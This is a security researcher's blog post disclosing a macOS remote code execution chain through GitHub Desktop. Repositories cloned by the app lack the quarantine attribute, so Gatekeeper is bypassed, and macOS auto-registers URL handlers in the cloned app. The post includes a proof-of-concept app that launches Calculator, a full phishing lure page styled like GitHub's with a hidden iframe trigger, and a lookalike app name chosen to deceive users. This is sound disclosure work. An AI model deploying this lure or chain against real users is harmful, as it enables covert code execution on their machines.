Few click RCE via GitHub Desktop macOS client with Gatekeeper bypass and custom URL handlers

TL;DR

The GitHub Desktop app doesn’t add the quarantine extended attribute to files downloaded from the web, and this along with macOS’s URL handler auto-registration feature allows an attacker to execute arbitrary, even unsigned code on a macOS system. If we don’t count the clicks required to open the GitHub App, and cloning an external repository, then this is a 2 click RCE.

The idea

I recently came across a very good blog post about an RCE vulnerability on GitHub Desktop: GitHub Desktop RCE (OSX) - André Baptista via its custom URL handlers. Although it’s fixed, there was a sentence that caught my attention:

First, I thought that OSX would be able to detect that this app was downloaded from the Internet. Since the app is cloned through Git the OS will not prompt the user to confirm this action.

This is a clear indication that GitHub Desktop doesn’t add the quarantine flag to the downloaded content and thus GateKeeper never comes into play. I quickly went ahead and verified it, and indeed it was missing even in the latest version.

The other idea that immediately popped up in my mind is what if the app I clone contains custom URL handlers? That could be auto-registered, and we could gain a few click RCE. But let’s not rush that fast.

The details

The GitHub Desktop app registers an URL handle upon installation for x-github-client. If someone clicks a link on a website pointing to such an URL, the browser will open GitHub Desktop. The user gets a prompt to allow opening the application, unless previously it was ticked to always allow running the app. If we provide the openRepo action for this handler, and then a URL after, if will offer us cloning the repository to our local drive. The full link would look like this: x-github-client://openRepo/url-of-the-repository-to-be-cloned. This is standard, expected behaviour.

When the user clicks Clone on the window, the repository will be cloned, and the files will miss the quarantine extended attribute, which is required for GateKeeper to be triggered on file execution. I made a very simple application, available from here (including source code): GitHub - theevilbit/githubpoc It’s unsigned, and if we download it normally via the browser (Download ZIP), we will see GateKeeper popping up, denying execution.

Before we move on, we need to talk about macOS’s URL handler auto registration. I will just make a brief summary here, but for full details you can read Patrick Wardle’s blogpost on the subject: Remote Mac Exploitation Via Custom URL Schemes or his recent VirusBulletin 2019 talk about Windtail malware: Cyber-Espionage in the Middle East: Unravelling OSX.WindTail - Speaker Deck. In short upon download of the application launch services daemon (lsd) will automatically parse the Info.plist file of the application bundle, and if it has an URL handler defined, it will auto-register it (thank you Apple!). In a few seconds later, the handler is ready to be used. This is a macOS feature, and GitHub Desktop has nothing to do with it. But combining the missing quarantine flag, and this allows a very convenient unsigned remote code execution, completely bypassing GateKeeper.

Putting it together

  1. An attacker creates a Git repository hosting his evil application, which has a custom URL handle defined
  2. An attacker creates a website, with a link to invoke GitHub Desktop to clone the app
  3. The user has to acknowledge to run the GitHub Desktop app, and click clone
  4. Once cloning is done, lsd will parse the app and register the URL handle
  5. The attacker can use the same website to try to invoke his/her application.

POC

As noted above, I created an app, which will launch Calculator, and do nothing else, the URL handler it will use is evilapp:// its source is very simple:

//
//  AppDelegate.m
//  Github Desktop
//
//  Created by Csaba Fitzl on 2019. 09. 26..
//  Copyright © 2019. Csaba Fitzl. All rights reserved.
//

#import "AppDelegate.h"

@interface AppDelegate ()

@property (weak) IBOutlet NSWindow *window;
@end

@implementation AppDelegate

- (void)applicationDidFinishLaunching:(NSNotification *)aNotification {
    // Insert code here to initialize your application
    int pid = [[NSProcessInfo processInfo] processIdentifier];
    NSPipe *pipe = [NSPipe pipe];
    NSFileHandle *file = pipe.fileHandleForReading;

    NSTask *task = [[NSTask alloc] init];
    task.launchPath = @"/usr/bin/open";
    task.arguments = @[@"/Applications/Calculator.app"];
    task.standardOutput = pipe;

    [task launch];
}


- (void)applicationWillTerminate:(NSNotification *)aNotification {
    // Insert code here to tear down your application
}


@end

The compiled application is hosted here, along with the full Xcode project: GitHub - theevilbit/githubpoc The name of the app is Github Desktop (lower case ‘h’!). The reason for this is when it’s triggered the user will see a popup saying that the page wants to execute Github Desktop.app, this will lower the victim suspicion, as it’s something expected, and more likely to click.

I created a simple HTML page that has a link to this repo, and it also has a JavaScript, which will add an iframe to the page’s DOM, with a link to evilapp://to trigger the downloaded application, the page will be refreshed every 10 seconds. The page source is:

<!doctype html>
<html lang="en" class="windows">
  <head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
  <meta http-equiv="content-language" content="en-gb">
  <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">

  <link rel="stylesheet" type="text/css" href=https://desktop.github.com/styles.css?71851157c0a6bd58db329a7827172c59506c6083>

  <link rel="icon" sizes="any" mask href="https://assets-cdn.github.com/pinned-octocat.svg">
  <link rel="icon" type="image/x-icon" href="https://assets-cdn.github.com/favicon.ico">

  <script src="https://desktop.github.com/javascript/os.js" charset="utf-8"></script>

<title>GitHub Desktop | Simple collaboration from your desktop</title>

<script type='text/javascript'>


window.onload = function() {
    var iframe = document.createElement('iframe');
    iframe.style.display = "none";
    iframe.src = "evilapp://hahahah";
    document.body.appendChild(iframe);
	setTimeout(function(){  window.location.reload(1);}, 10000);};
</script>
</head>

  <body>
    <header>
  <div class="container-new py-6 px-3 text-center">
    <a href="/">
      <img src="https://desktop.github.com/images/desktop-icon.svg" alt="GitHub Desktop" width="96" height="96">
    </a>
    <ul class="nav list-style-none d-flex flex-justify-center f4">
</ul>

  </div>
</header>

    <div class="hero text-center">
  <div class="container-new px-3">
    <div class="pb-6">
      <h1 class="f00-light text-white">
        Totally Legit App
      </h1>
      <p class="col-md-8 mx-auto mb-4 f3-light">
        Already using GitHub Desktop? Amazing!<br>
        Let's get you started! Click to clone the repository.
      </p>
      <a class="mx-1 my-3 f3 btn btn-large btn-desktop-purple" href="x-github-client://openRepo/https://github.com/theevilbit/githubpoc">Clone</a>
      
      <p class="mb-0">
        New user? Download GitHub Desktop <a href="https://desktop.github.com" target="_blank">here</a>
      </p>
    </div>

    
  </div>
</div>

<!-- Features -->


<footer class="mb-6 px-3 text-gray text-center alt-text-small">
  <p class="copyright">© 2019 GitHub, Inc. All rights reserved.</p>
</footer>

  </body>
</html>

It’s hosted here, if you want to try it: https://theevilbit.github.io/hidden/githubpoc.html

I made a video showing the entire chain in action:

To show the extended attributes of a file, run:

$ xattr -l ~/Documents/DEV/GitHub/githubpoc/Github\ Desktop.app/Contents/MacOS/Github\ Desktop

To clear a registered URL handle run:

$ /System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -u [full path to the application]

I reported this to GiHub via H1 but they said that it’s unlikely user interaction so they won’t deal with it, so I decided to blog about it. IMO, it’s not that unlikely.